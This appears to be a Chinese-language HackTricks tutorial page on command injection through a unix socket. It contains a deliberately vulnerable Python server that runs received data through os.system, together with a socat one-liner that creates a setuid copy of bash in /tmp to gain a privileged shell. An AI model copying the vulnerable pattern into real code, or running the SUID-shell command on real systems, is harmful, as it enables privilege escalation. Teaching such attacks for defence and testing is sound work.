Socket Command Injection

从零到英雄学习AWS黑客技术，通过 htARTE (HackTricks AWS红队专家)！

支持HackTricks的其他方式：

• 如果您希望在HackTricks中看到您的公司广告或以PDF格式下载HackTricks，请查看订阅计划！

• 获取官方PEASS & HackTricks商品

• 发现PEASS家族，我们独家的NFTs系列

• 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。

• 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。

使用Python的Socket绑定示例

在以下示例中，创建了一个unix socket（/tmp/socket_test.s），并且接收到的所有内容都将由os.system执行。我知道你在现实中不会找到这样的例子，但这个示例的目的是展示使用unix sockets的代码是什么样的，以及在最坏的情况下如何管理输入。

s.py

```python import socket import os, os.path import time from collections import deque

if os.path.exists("/tmp/socket_test.s"): os.remove("/tmp/socket_test.s")

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: server.listen(1) conn, addr = server.accept() datagram = conn.recv(1024) if datagram: print(datagram) os.system(datagram) conn.close()

```markdown
**使用 python 执行** 代码：`python s.py` 并**检查 socket 如何监听**：

netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s

利用

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s

从零到英雄学习AWS黑客技术，通过 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式：

• 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF，请查看订阅计划！

• 获取官方PEASS & HackTricks商品

• 发现PEASS家族，我们独家的NFTs系列

• 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。

• 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。